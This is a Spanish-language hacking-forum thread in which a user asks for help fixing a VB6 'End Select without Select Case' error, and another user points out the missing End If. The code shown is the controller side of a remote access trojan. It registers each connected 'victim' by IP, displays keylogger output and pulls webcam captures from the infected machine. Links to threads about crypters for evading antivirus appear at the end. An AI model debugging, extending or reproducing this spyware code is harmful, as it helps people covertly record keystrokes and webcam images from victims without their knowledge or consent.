Mostrar mensajes previos
Ordenar por
por KzHacker Sin sí­ntomas
Hola amigos de indetectables, presento un problema que al generar el .EXE me marca lo siguiente:

"End Select sin Select Case"

Se lo que significa, pero creo que es un mal uso del Select Case

Mi problema es que no sé como adjuntar(Por así decirlo) los datos de 2 variables en 1

Lo que yo preciso es esto:

Select Case Left (Data, 2)
y a la vez tambien Select Case KzHacker(0)

Para poder recibir los datos de la conexión y el envio de la WebCam

Deduciendo yo mismo creo que deberia pasar los datos de la variable Lstring a la de kzhacker junto con el delimitador? O no es posible por la sintaxis?

Código: Seleccionar todo

Dim Data As String
Dim KzHacker() As String
Dim LV
Sock(Index).GetData Data
KzHacker() = Split(Data, "|")
Rbytes = Rbytes + bytesTotal
Lstring = Mid(Data, 3, Len(Data))

Select Case KzHacker(0)

Case "Conexion"
Set LV = LV1.ListItems.Add(, Index & "|", KzHacker(1), 1, 1)
LV.SubItems(1) = KzHacker(2)
LV.SubItems(2) = KzHacker(3)
LV.SubItems(3) = KzHacker(4)
LV.SubItems(4) = KzHacker(5)
Notificacion.LabelIP.Caption = KzHacker(2)
Notificacion.LabelVictima.Caption = KzHacker(1)
Notificacion.Visible = True

Case "Keylogger"
KeyloggerFrm.txtLog.Text = KzHacker(1)

Case "Comenzar"
    SfileLen = Lstring
    Sock(Index).SendData "5@"
    Open "C:\camcap.jpg" For Binary Access Write As #2
    Rbytes = 0
    WebcamFrm.LabelStatus.Caption = "Recibiendo Imagenes"

Case "Drivers"
    WebcamFrm.LabelStatus.Caption = "Drivers: " & Lstring
       
Case "Quality"
WebcamFrm.LabelStatus.Caption = "Calidad establecida a : " & Lstring

Case "Error"
WebcamFrm.LabelStatus.Caption = "Webcam Error"
Case Else
Put #2, , Data
If Rbytes = SfileLen Then
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
    
End Select
por xserpientex Se medica
Hola hermano, creo que el problema del select es que veo un if sin end if

Código: Seleccionar todo

If Rbytes = SfileLen Then 'Aqui 
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
   
End Select
y si as puesto el End if luego del End select te a quedado atrapado el final dento de la sentencia dentro del if
al compilar supone que dentro del if hay un select case

Código: Seleccionar todo

If Rbytes = SfileLen Then 'Quedaria asi  
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
   End If 
End Select

En cuanto a adjuntar las dos variables, si no te entedi mal, creo que podria sea algo como esto
declarar una variable String Publica, y mediante codigo agregarle lo que tu dices

ejem

Código: Seleccionar todo

  Public ADD As String
    Private Sub Form1_Load(ByVal
Y luego a medida que el Select avanze agregara el resto

Código: Seleccionar todo

Select Case Left (Data, 2)
ADD = Left (Data, 2)
despues

Código: Seleccionar todo

 Select Case KzHacker(0)
ADD = ADD & KzHacker(0)


Espero te sirva
Saludos
Imagen
por KzHacker Sin sí­ntomas
xserpientex escribió:Hola hermano, creo que el problema del select es que veo un if sin end if

Código: Seleccionar todo

If Rbytes = SfileLen Then 'Aqui 
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
   
End Select
y si as puesto el End if luego del End select te a quedado atrapado el final dento de la sentencia dentro del if
al compilar supone que dentro del if hay un select case

Código: Seleccionar todo

If Rbytes = SfileLen Then 'Quedaria asi  
    Close #2
    ImCam.Picture = LoadPicture("C:\camcap.jpg")
    Sock(Index).SendData "Comenzar"
    WebcamFrm.LabelStatus.Caption = "Requiriendo Captura"
   End If 
End Select

En cuanto a adjuntar las dos variables, si no te entedi mal, creo que podria sea algo como esto
declarar una variable String Publica, y mediante codigo agregarle lo que tu dices

ejem

Código: Seleccionar todo

  Public ADD As String
    Private Sub Form1_Load(ByVal
Y luego a medida que el Select avanze agregara el resto

Código: Seleccionar todo

Select Case Left (Data, 2)
ADD = Left (Data, 2)
despues

Código: Seleccionar todo

 Select Case KzHacker(0)
ADD = ADD & KzHacker(0)


Espero te sirva
Saludos
Hola amigo, muchas gracias, soy un despistado terrible jajaja !
Te debo una!
Temas similares
Unicode vb6 crypter por 0day en Dudas y Preguntas
ajuda com vb6 por antony guedes en Dudas y Preguntas
Pedido fuentes crypters vb6 por gordosz en Dudas y Preguntas
powershell with vb6 por 0day en VB/.NET
Links sobre el tema
Variantes de tema
Responder

Volver a “VB/.NET”